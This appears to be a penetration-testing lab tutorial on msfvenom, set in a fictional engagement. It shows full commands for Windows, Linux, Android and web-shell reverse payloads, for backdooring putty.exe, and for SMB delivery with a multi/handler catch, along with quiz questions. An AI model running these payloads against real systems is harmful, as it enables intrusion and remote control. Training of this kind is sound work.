Introduction
Throughout the first three rooms of this module, every payload you used was delivered through an exploit launched from msfconsole. You selected a module, set RHOSTS and LHOST, typed exploit, and Metasploit handled the rest: packaging the payload, sending it to the target, and establishing the session.
But what happens when that workflow does not apply?
Consider a few scenarios from the Stratford Systems engagement. You have found a file upload vulnerability in a web application, but there is no Metasploit exploit module for it. You have SSH credentials to a Linux server and can transfer files, but you need a Meterpreter session rather than a basic shell. You need to embed a payload inside an existing Windows executable to deliver it through a phishing email. In each of these cases, you need a standalone payload file that you generate outside of an exploit module and deliver to the target through your own means.
That is what msfvenom does.
What Is Msfvenom?
Msfvenom is a command-line tool that generates payloads in a wide variety of formats for virtually any target platform. It is part of the Metasploit Framework but runs independently from msfconsole. You use it from a regular terminal prompt, not from the msf6 > prompt.
With msfvenom, you can:
- Generate standalone executables (
.exe,.elf,.apk,.war) that deliver a Meterpreter session or command shell when executed on the target - Produce raw shellcode in languages like C, Python, PowerShell, or C# for embedding in your own tools
- Create web shells (PHP, ASP, JSP) for upload through web application vulnerabilities
- Encode payloads to remove bad characters or transform their byte patterns
- Inject payloads into existing legitimate binaries to make them appear less suspicious
History: Two Tools Became One
Older versions of the Metasploit Framework split payload generation across two separate tools:
- msfpayload: Generated raw payload output
- msfencode: Encoded payload output to remove bad characters or attempt basic evasion
In 2015, both tools were merged into a single utility: msfvenom. If you encounter older tutorials referencing msfpayload or msfencode, those commands no longer exist. Everything they did is now handled by msfvenom.
Where Msfvenom Fits in the Workflow
The penetration testing workflow with msfvenom adds a manual delivery step that msfconsole exploits handle automatically:
- Generate the payload with
msfvenom(specifying target platform, payload type, format, and connection details) - Deliver the payload to the target (through file upload, SSH transfer, phishing, USB drop, or any other delivery mechanism)
- Set up a handler in
msfconsoleusingexploit/multi/handlerto catch the incoming connection - Execute the payload on the target (or wait for the victim to execute it)
- Interact with the resulting session
Steps 3 through 5 are identical to what happens when you run an exploit from msfconsole. The difference is that you are responsible for steps 1 and 2, rather than an exploit module handling them for you.
Prerequisites
This room builds on all three previous rooms in the module. You should be comfortable with:
Learning Objectives
By the end of this room, you will be able to:
- Use
msfvenomto generate payloads for Windows, Linux, and web application targets - Choose between staged and stageless payloads based on engagement requirements
- Select the appropriate output format for your delivery method
- Understand what encoding does (and does not do) for evasion
- Inject payloads into existing binaries
- Set up a
multi/handlerto catch reverse connections from standalone payloads - Complete a full generate → deliver → catch → post-exploit workflow
?Answer the questions below
- Ready to start!
Basic Syntax and Listing Options
Before generating any payloads, let's understand the command structure. Every msfvenom command follows the same pattern, and once you learn the core flags, you can build any payload the framework supports.
Note: Tasks 2-7 are mainly theoretical. You will apply the knowlege from these tasks in the challenge at the end.
The Core Command Structure
The minimal msfvenom command requires three things: a payload (-p), a format (-f), and connection parameters (LHOST/LPORT for reverse payloads):
msfvenom -p <payload> LHOST=<your_ip> LPORT=<your_port> -f <format> -o <output_file>
Consider a concrete example. To generate a Windows Meterpreter reverse shell as an executable:
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
Let's break this down, flag by flag:
-p windows/x64/meterpreter/reverse_tcp: The payload to generate. This uses the same naming convention you learned in Room 1:platform/architecture/payload_type/connection_method.LHOST=10.10.14.12: Your attacking machine's IP address. The target will connect back to this address when the payload executes.LPORT=4444: The port on your machine that will receive the connection.-f exe: The output format. In this case, a Windows portable executable.-o shell.exe: The output file name. Without-o,msfvenomprints the raw payload to standard output, which is useful for piping into other tools but not for saving a binary file.
The Complete Flag Reference
Here are all the flags you will use regularly:
| Flag | Purpose | Example |
|---|---|---|
-p |
Select the payload | -p linux/x64/meterpreter/reverse_tcp |
-f |
Set the output format | -f elf, -f exe, -f raw, -f python |
-o |
Write output to a file | -o payload.exe |
-e |
Select an encoder | -e x86/shikata_ga_nai |
-i |
Number of encoding iterations | -i 5 |
-b |
Characters to avoid (bad characters) | -b '\x00\x0a\x0d' |
-x |
Template binary (inject payload into existing file) | -x putty.exe |
-k |
Keep the template's original behavior | -k (used with -x) |
-a |
Override architecture | -a x64 |
--platform |
Override platform | --platform windows |
-n |
Prepend a NOP sled of N bytes | -n 16 |
LHOST= |
Your listener IP (not a flag; a payload option) | LHOST=10.10.14.12 |
LPORT= |
Your listener port (not a flag; a payload option) | LPORT=4444 |
Note that LHOST and LPORT are not msfvenom flags (they do not use a - prefix). They are payload options, passed directly as KEY=VALUE pairs after the -p flag. Different payloads may have different options; you can check what a specific payload requires with msfvenom -p <payload> --list-options.
Listing What Is Available
Msfvenom can list every payload, encoder, format, platform, and architecture it supports. The -l flag (lowercase L) is your discovery tool:
List all payloads:
root@CONNECTION_IP:~# msfvenom -l payloads
Framework Payloads (1710 total)
===============================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
[...]
windows/x64/meterpreter/reverse_tcp Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager
windows/x64/meterpreter_reverse_tcp Windows Meterpreter Shell, Reverse TCP Inline
windows/x64/shell/reverse_tcp Windows x64 Command Shell, Reverse TCP Stager
[...]
The output is long (~1,700 payloads). You will almost always want to pipe it through grep to filter:
root@CONNECTION_IP:~# msfvenom -l payloads | grep linux | grep meterpreter
linux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
[...]
List output formats:
root@CONNECTION_IP:~# msfvenom -l formats
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
dll
elf
exe
macho
msi
[...]
Framework Transform Formats [--format <value>]
==============================================
Name
----
base64
c
csharp
hex
java
powershell
python
raw
[...]
Notice that formats are split into two categories: executable formats produce standalone binary files, and transform formats produce code or data that you embed into another delivery mechanism. We will explore this distinction in Task 4.
List encoders:
root@CONNECTION_IP:~# msfvenom -l encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
php/base64 great PHP Base64 Encoder
x64/xor normal XOR Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
[...]
List platforms and architectures:
root@CONNECTION_IP:~# msfvenom -l platforms
[...]
android, apple_ios, bsd, java, linux, osx, php, python, unix, windows [...]
root@CONNECTION_IP:~# msfvenom -l archs
[...]
aarch64, armbe, armle, cmd, java, mipsbe, mipsle, php, ppc, python, sparc, x64, x86 [...]
Checking Payload Options
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
Options for payload/windows/x64/meterpreter/reverse_tcp:
=========================
Name: Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager
Module: payload/windows/x64/meterpreter/reverse_tcp
Platform: Windows
Arch: x64
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Inject the mettle server payload (staged). Connect back to the attacker
This output mirrors the show options display you are familiar with from msfconsole.
?Answer the questions below
- What flag sets the output format in msfvenom?
- What flag specifies the payload to generate?
Staged vs. Stageless Payloads
In Room 1, we introduced the concept of staged and stageless payloads and showed you how to tell them apart by the separator in their names (/ for staged, _ for stageless). In this task, we go deeper: what are the practical trade-offs, when should you choose each type, and how do you generate both with msfvenom?
Recap: How Each Type Works
Stageless (inline) payloads are self-contained. The entire payload, including the Meterpreter agent or shell code, is packaged into a single file. When the payload executes on the target, it connects back to your handler, and the session is established in one step.
Staged payloads work in two steps. First, a small stager executes on the target. The stager's only job is to establish a network connection back to your handler. Once connected, your handler sends the larger stage (the full Meterpreter or shell payload) across that connection. The stage is loaded into memory and executed.
The Trade-Offs
| Factor | Stageless | Staged |
|---|---|---|
| File size | Larger (full payload included) | Smaller (only the stager is in the file) |
| Reliability | More reliable; no second download that could fail | Depends on a stable connection during stage transfer |
| Network dependency | Connects once | Requires sustained connection to download the stage |
| Detection surface | Full payload on disk (easier to signature-match) | Smaller initial file (harder to signature-match), but stage transfer may be detected |
| Firewall behavior | Single outbound connection | Stager connects, then pulls a large data transfer (stage); some IDS may flag this pattern |
| Use with msfconsole exploits | Works, but less common as default | Default for most msfconsole exploit modules |
| Use with msfvenom | Common choice for standalone payloads | Works, but requires the handler to serve the stage |
When to Choose Each
Choose stageless when:
- You are generating a standalone file with
msfvenomfor manual delivery (USB drop, file upload, SSH transfer). The payload must be self-contained because you may not control the network conditions during execution. - You are targeting an environment with intermittent or unreliable network connectivity. A stageless payload only needs to connect once.
- You want simplicity. There is no coordination required between the stager and the stage; it either works or it does not.
Choose staged when:
- You are working within
msfconsoleand the exploit module handles staging automatically (this is the default behavior for most exploits). - You need to minimize the initial payload size, for example, when exploiting a buffer overflow with a tight size constraint.
- You are delivering the payload through a channel with size limitations (e.g., a SQL injection that can only inject a small amount of shellcode).
In practice, most msfvenom-generated standalone payloads use stageless variants because reliability and self-containment outweigh size concerns. Most msfconsole exploits use staged variants because the exploit module manages the staging process automatically.
Generating Both with Msfvenom
Let's generate the same Meterpreter reverse shell in both forms and compare.
Staged:
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o staged.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: staged.exe
Stageless:
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o stageless.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 250880 bytes
Saved as: stageless.exe
The differences are striking:
- Staged payload size: 510 bytes (7 KB as an EXE). This is just the stager; the full Meterpreter agent will be downloaded later.
- Stageless payload size: 201,798 bytes (245 KB as an EXE). This is the complete Meterpreter agent, ready to run without any additional downloads.
The only thing that changed in the command was the payload name: meterpreter/reverse_tcp (staged, with /) vs. meterpreter_reverse_tcp (stageless, with _). Every other flag remained identical.
Handler Behavior Differences
When catching a staged payload with exploit/multi/handler, the handler must serve the stage to the connecting stager. If the handler is not running when the stager executes, or if the payload type in the handler does not match exactly, the connection will fail silently.
When catching a stageless payload, the handler simply receives the already-complete Meterpreter connection. There is no stage to serve. This makes stageless payloads slightly more forgiving of timing issues.
In both cases, the handler configuration must match the payload's LHOST, LPORT, and payload type exactly. We will set up handlers in Task 7.
?Answer the questions below
- Which payload type is self-contained and does not require a second download: staged or stageless?
Generating Payloads and Output Formats
You understand the syntax, the flags, and the staged vs. stageless distinction. Now let's generate actual payloads for the platforms and scenarios you will encounter most frequently. Along the way, we will explore the two categories of output formats and when to use each.
Executable Formats vs. Transform Formats
When you run msfvenom -l formats, the output is split into two sections. Understanding the difference between them is essential for choosing the right -f flag.
Executable formats produce standalone binary files that the target's operating system can run directly. These include exe (Windows), elf (Linux), macho (macOS), msi (Windows Installer), apk (Android), and war (Java web applications). You use these when your delivery method puts a file on the target that will be executed.
Transform formats produce code or data that you embed into another tool, script, or exploit. These include raw (raw bytes), c (C byte array), csharp (C# byte array), python (Python byte string), powershell (PowerShell byte array), hex (hexadecimal string), and base64 (base64 encoded). You use these when you are building your own exploit, injecting shellcode into a custom loader, or embedding a payload in a script.
The rule of thumb: if you need a file the target runs, use an executable format. If you need data you embed in something else, use a transform format.
Common Payload Recipes
Below are the five payload types you will generate most often. Each example includes the full command and an explanation of when you would use it.
1. Windows Reverse Shell (EXE)
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 250880 bytes
Saved as: shell.exe
When to use: You have a way to get an executable onto a Windows target (file upload, SMB share, phishing attachment, USB drop). The target runs the .exe file, and a Meterpreter session connects back to your handler.
Note the stageless payload (meterpreter_reverse_tcp with _). For standalone executables, stageless is the standard choice for reliability.
2. Linux Reverse Shell (ELF)
root@CONNECTION_IP:~# msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1046528 bytes
Final size of elf file: 1046528 bytes
Saved as: shell.elf
When to use: You have file transfer access to a Linux target (SSH, SCP, a writable web directory, or a file upload vulnerability). After transferring the file, you will need to make it executable with chmod +x shell.elf before running it with ./shell.elf.
The ELF (Executable and Linkable Format) is the Linux equivalent of Windows' .exe. It is the standard binary format on Linux, macOS, and most Unix-like systems.
3. PHP Web Shell
root@CONNECTION_IP:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f raw -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34802 bytes
Saved as: shell.php
When to use: You have found a file upload vulnerability in a PHP-based web application. You upload shell.php, then trigger it by navigating to its URL (e.g., http://target.com/uploads/shell.php). The PHP runtime on the web server executes the payload and connects back to your handler.
Important: After generating a PHP payload with
msfvenom, open the file and verify it starts with a proper<?phpopening tag. Some versions ofmsfvenomoutput the opening tag as a comment (/*<?php /**/). If the PHP engine does not recognize the file as PHP code, the payload will not execute. Remove any comment markers around the opening tag if needed.
4. Python One-Liner
root@CONNECTION_IP:~# msfvenom -p cmd/unix/reverse_python LHOST=CONNECTION_IP LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 505 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNv...')[0]))"
When to use: The target has Python installed, and you can execute commands (through a command injection vulnerability, an SSH session, or a web shell). You paste or pipe this one-liner directly into the target's terminal. No file needs to touch the disk.
Notice the output format is raw (not elf or exe), and there is no -o flag, the payload prints directly to your terminal. This is a transform format in action: the output is code, not a binary.
5. Raw Shellcode (C Format)
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of c file: 853830 bytes
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50"
[...]
When to use: You are writing a custom exploit, building a payload loader in C, or need raw shellcode bytes for embedding in a buffer overflow exploit. The output is a C-style byte array that you can copy directly into your source code.
Other useful transform formats follow the same pattern: -f python for a Python byte string, -f csharp for a C# byte array, -f powershell for a PowerShell-compatible format, -f hex for a plain hexadecimal string.
Quick Reference: Common Format Choices
| Scenario | Payload | Format | Example Flag |
|---|---|---|---|
| Windows executable for file drop | windows/x64/meterpreter_reverse_tcp |
exe |
-f exe |
| Linux executable for SSH transfer | linux/x64/meterpreter_reverse_tcp |
elf |
-f elf |
| PHP web shell for file upload | php/meterpreter_reverse_tcp |
raw |
-f raw |
| Python command injection | cmd/unix/reverse_python |
raw |
-f raw |
| Shellcode for custom C exploit | Any Windows/Linux payload | c |
-f c |
| PowerShell for Windows command execution | windows/x64/meterpreter_reverse_tcp |
powershell |
-f powershell |
| Java web application (Tomcat, Jenkins) | java/meterpreter/reverse_tcp |
war |
-f war |
| Windows Installer for delivery | windows/x64/meterpreter_reverse_tcp |
msi |
-f msi |
?Answer the questions below
- What output format would you use to generate a Linux binary executable?
- Write the full msfvenom command to generate a stageless Windows x64 Meterpreter reverse TCP payload as an executable file named backdoor.exe , connecting back to 10.10.14.12 on port 5555 .
Encoders and Evasion Basics
There is a persistent misconception in beginner penetration testing circles that encoding a payload with msfvenom will bypass antivirus software. Let's address this directly: encoding is not evasion. Understanding what encoding actually does, and what it does not do, will save you from false assumptions on real engagements.
What Encoding Actually Does
An encoder transforms the payload's byte sequence into a different representation. The most well-known encoder in Metasploit is x86/shikata_ga_nai, which applies polymorphic XOR additive feedback encoding. In simple terms, it XOR-encrypts the payload with a changing key and prepends a small decoder stub. When the payload executes, the decoder stub runs first, decodes the payload back to its original form in memory, and then transfers execution to the decoded payload.
The primary legitimate use cases for encoding are:
- Bad character removal: Certain exploit delivery channels cannot tolerate specific byte values. For example, a buffer overflow exploited through a string copy function might break if the payload contains null bytes (
\x00), newlines (\x0a), or carriage returns (\x0d). Encoding transforms the payload so these bytes never appear. - Format compliance: Some delivery channels have character set restrictions (e.g., only printable ASCII). Encoding can ensure the payload fits within those constraints.
Using Encoders with Msfvenom
The -e flag selects an encoder, -i sets the number of encoding iterations, and -b specifies bad characters to avoid:
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -e x86/shikata_ga_nai -i 3 -o encoded.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 201830 (iteration=0)
x86/shikata_ga_nai succeeded with size 201862 (iteration=1)
x86/shikata_ga_nai succeeded with size 201894 (iteration=2)
x86/shikata_ga_nai chosen with final size 201894
Payload size: 201894 bytes
Final size of exe file: 250880 bytes
Saved as: encoded.exe
Each iteration re-encodes the output of the previous iteration, slightly increasing the payload size. With three iterations, the payload grew from 201,798 bytes to 201,894 bytes.
To avoid specific bad characters, use -b followed by the characters in hex notation:
root@CONNECTION_IP:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f c -b '\x00\x0a\x0d'
When you specify -b, msfvenom automatically selects an appropriate encoder to eliminate those bytes from the output. You do not necessarily need to specify -e separately when using -b; msfvenom will choose an encoder that can handle the bad character set.
The Reality Check: Why Encoding Does Not Bypass Modern AV
In the early 2000s, antivirus solutions relied almost exclusively on static signature matching: comparing files byte-by-byte against a database of known malicious patterns. Encoding could defeat this by changing the byte pattern, and tools like shikata_ga_nai were effective because the polymorphic output looked different in each generation.
Modern endpoint security has moved far beyond static signatures:
- Heuristic analysis examines what the code does, not just what it looks like. A decoder stub that decrypts and executes arbitrary code in memory is a well-known behavioral pattern.
- Sandboxing executes suspicious files in an isolated environment and observes their behavior. The payload decodes and runs normally inside the sandbox, revealing its true purpose.
- AMSI (Antimalware Scan Interface) on Windows intercepts scripts and payloads at runtime, inspecting them after decoding but before execution.
- Machine learning models trained on millions of samples can identify malicious patterns even in polymorphic code.
Running shikata_ga_nai with 10 iterations against a default Meterpreter payload will be caught by virtually every modern endpoint security product. The XOR decoder stub itself is now a well-known signature.
When Encoding Is Still Useful
Despite not being an evasion strategy, encoding remains useful for its original purpose: bad character avoidance in exploit development. If you are writing a buffer overflow exploit and your payload must avoid null bytes and newlines, encoding solves that problem cleanly. This is a legitimate technical requirement, not a stealth technique.
If you need actual evasion against modern defenses, the path leads beyond msfvenom entirely, into custom loaders, process injection techniques, AMSI bypass methods, and payload obfuscation tools. These topics are covered in more advanced modules on the TryHackMe platform.
?Answer the questions below
- What is the name of the most well-known Metasploit encoder?
- What msfvenom flag specifies characters that must not appear in the payload output?
Payload Injection and Multi-Platform Payloads
So far, every payload we have generated has been a standalone file, a fresh executable containing nothing but our payload. But what if you want the payload to look like a legitimate application? And what about targets beyond Windows and Linux? In this task, we cover injecting payloads into existing binaries and generating payloads for mobile and web application platforms.
Injecting Payloads into Existing Binaries
The -x flag tells msfvenom to use an existing executable as a template. The payload is injected into the binary, and the resulting file appears to be (and in some cases still functions as) the original application.
Consider this scenario: you want to deliver a payload disguised as a legitimate Windows utility. You take a copy of putty.exe and inject your Meterpreter payload into it:
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -x /root/templates/putty.exe -f exe -o putty_backdoor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 1553920 bytes
Saved as: putty_backdoor.exe
The output file is ~1.5 MB (the size of the original PuTTY binary plus the injected payload). When a user runs putty_backdoor.exe, the payload executes and connects back to your handler.
Preserving original behavior with -k
By default, when a payload is injected with -x, the original application's functionality may be disrupted. The -k flag attempts to preserve the template's original behavior by running the payload in a separate thread:
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -x /root/templates/putty.exe -k -f exe -o putty_backdoor.exe
With -k, the resulting binary should launch PuTTY normally while simultaneously executing the payload in the background. The user sees the expected application; the attacker gets a session.
Detection trade-offs
Template injection introduces several detection risks you should be aware of:
- Hash mismatch: The injected binary's file hash will differ from the original. Any integrity checking system that compares file hashes against known-good values will flag it.
- Digital signature breakage: If the original binary was digitally signed (as most legitimate software is), the signature becomes invalid after injection. Windows will show a "publisher could not be verified" warning, and signature-verification tools will flag the file.
- AV heuristics: Most antivirus products specifically scan for the pattern of legitimate binaries with injected code sections. This technique is well-known and commonly detected.
Template injection is a useful technique for controlled lab environments and CTF challenges. In real engagements against defended networks, it requires additional obfuscation to be practical.
Multi-Platform Payloads
Msfvenom supports payload generation for platforms beyond Windows and Linux. Here are the most commonly encountered ones.
Android (APK)
root@CONNECTION_IP:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -o evil.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10188 bytes
Saved as: evil.apk
The APK format is Android's application package. The generated file can be sideloaded onto an Android device for testing. Note that modern Android versions require developer mode and explicit user permission to install apps from unknown sources. No -f flag is needed; msfvenom auto-selects the correct format for Android payloads.
macOS (Mach-O)
root@CONNECTION_IP:~# msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f macho -o shell.macho
The Mach-O (Mach Object) format is macOS's native binary format, equivalent to ELF on Linux and PE on Windows.
Java Web Application (WAR)
root@CONNECTION_IP:~# msfvenom -p java/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f war -o shell.war
A WAR (Web Application Resource) file is deployed to Java application servers like Apache Tomcat, JBoss, or GlassFish. If you have access to the Tomcat Manager interface (often with default credentials), you can deploy the WAR file through the web UI, and the payload executes when you browse to the deployed application's URL.
ASP/ASPX for IIS
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o shell.aspx
ASPX web shells target Microsoft IIS web servers running the .NET Framework. Like PHP payloads, these are uploaded through file upload vulnerabilities and triggered by navigating to the uploaded file's URL.
JSP
root@CONNECTION_IP:~# msfvenom -p java/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f jsp -o shell.jsp
JSP (JavaServer Pages) payloads work similarly to PHP payloads but target Java-based web servers. They are an alternative to WAR files when you can upload individual files but cannot deploy a full WAR package.
Choosing the Right Platform and Format
The decision tree is straightforward:
- What OS does the target run? This determines the payload platform (
windows/,linux/,osx/,android/,java/,php/). - How will you deliver the payload? This determines the format. File drop → executable format (
exe,elf,macho,apk). Web upload → web format (php,asp,aspx,jsp,war). Code injection → transform format (raw,c,python). - What runtime is available? If the target has PHP, use PHP. If it has Java, use WAR or JSP. If it is a bare OS with no interpreter, use a native binary.
?Answer the questions below
- What msfvenom flag injects a payload into an existing executable template?
Handlers and Catching Shells
You have generated a payload with msfvenom. You have delivered it to the target. Now what? If the payload uses a reverse connection (and most do), it needs somewhere to connect back to. That somewhere is a handler: a listener running on your attacking machine that accepts incoming connections and establishes sessions.
Setting Up exploit/multi/handler
The exploit/multi/handler module is Metasploit's universal listener. It works with every payload type in the framework: Meterpreter, command shells, PHP reverse shells, Python shells, and more. You configure it in msfconsole just like any other module.
Let's walk through the complete workflow. Assume you have generated this payload:
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.exe
Now set up the handler to catch the connection:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
LHOST => CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST CONNECTION_IP yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on CONNECTION_IP:4444
The handler is now listening. When the payload executes on the target and connects back to CONNECTION_IP:4444, the handler will establish the session:
[*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:55320) at 2026-03-18 17:15:42 +0000
meterpreter >
The Golden Rule: Everything Must Match
The single most common reason a handler fails to catch a shell is a mismatch between the handler configuration and the payload that was generated. Three values must be identical:
| Parameter | In msfvenom | In multi/handler | Must match? |
|---|---|---|---|
| Payload | -p windows/x64/meterpreter_reverse_tcp |
set PAYLOAD windows/x64/meterpreter_reverse_tcp |
Exactly |
| LHOST | LHOST=CONNECTION_IP |
set LHOST CONNECTION_IP |
Exactly |
| LPORT | LPORT=4444 |
set LPORT 4444 |
Exactly |
If any one of these differs, for example, if you generated the payload with LPORT=4444 but set the handler to listen on LPORT=5555, the connection will fail silently. There will be no error message; the target connects, the handler does not recognize the connection type, and nothing happens.
A common mistake is generating a staged payload but setting the handler to a stageless payload (or vice versa). windows/x64/meterpreter/reverse_tcp (staged, with /) is a different payload from windows/x64/meterpreter_reverse_tcp (stageless, with _). The handler must match exactly.
The Full Generate → Deliver → Catch Workflow
Let's trace a complete, realistic workflow against the Stratford Systems Windows server. You have SSH credentials and want to establish a Meterpreter session.
Step 1: Generate the payload
root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
[...]
Saved as: shell.exe
Step 2: Start the handler (in a separate terminal or backgrounded in msfconsole)
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
LHOST => 10.10.14.12
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on CONNECTION_IP:4444
Step 3: Deliver the payload (from another terminal window)
msf6 > use auxiliary/admin/smb/upload_file
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(admin/smb/upload_file) > set rhosts MACHINE_IP
rhosts => 10.80.142.86
msf6 auxiliary(admin/smb/upload_file) > set smbuser guest
smbuser => guest
msf6 auxiliary(admin/smb/upload_file) > set smbshare public
smbshare => public
msf6 auxiliary(admin/smb/upload_file) > set lpath /root/shell.exe
lpath => /root/shell.exe
msf6 auxiliary(admin/smb/upload_file) > set rpath shell.exe
rpath => shell.exe
msf6 auxiliary(admin/smb/upload_file) > exploit
[+] MACHINE_IP:445 - /root/shell.exe uploaded to shell.exe
[*] MACHINE_IP:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Step 4: Execute the payload on the target.
Info: On the actual target, your payload will be executed automatically after you upload it to the SMB share.
C:\public>shell.exe
Step 5: Catch the session (back in msfconsole)
[*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:55320) at 2026-03-18 17:20:15 +0000
meterpreter > sysinfo
Computer : CAPSTONE
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
meterpreter >
The payload executed on the Stratford Windows server, connected back to our handler, and we now have a full Meterpreter session.
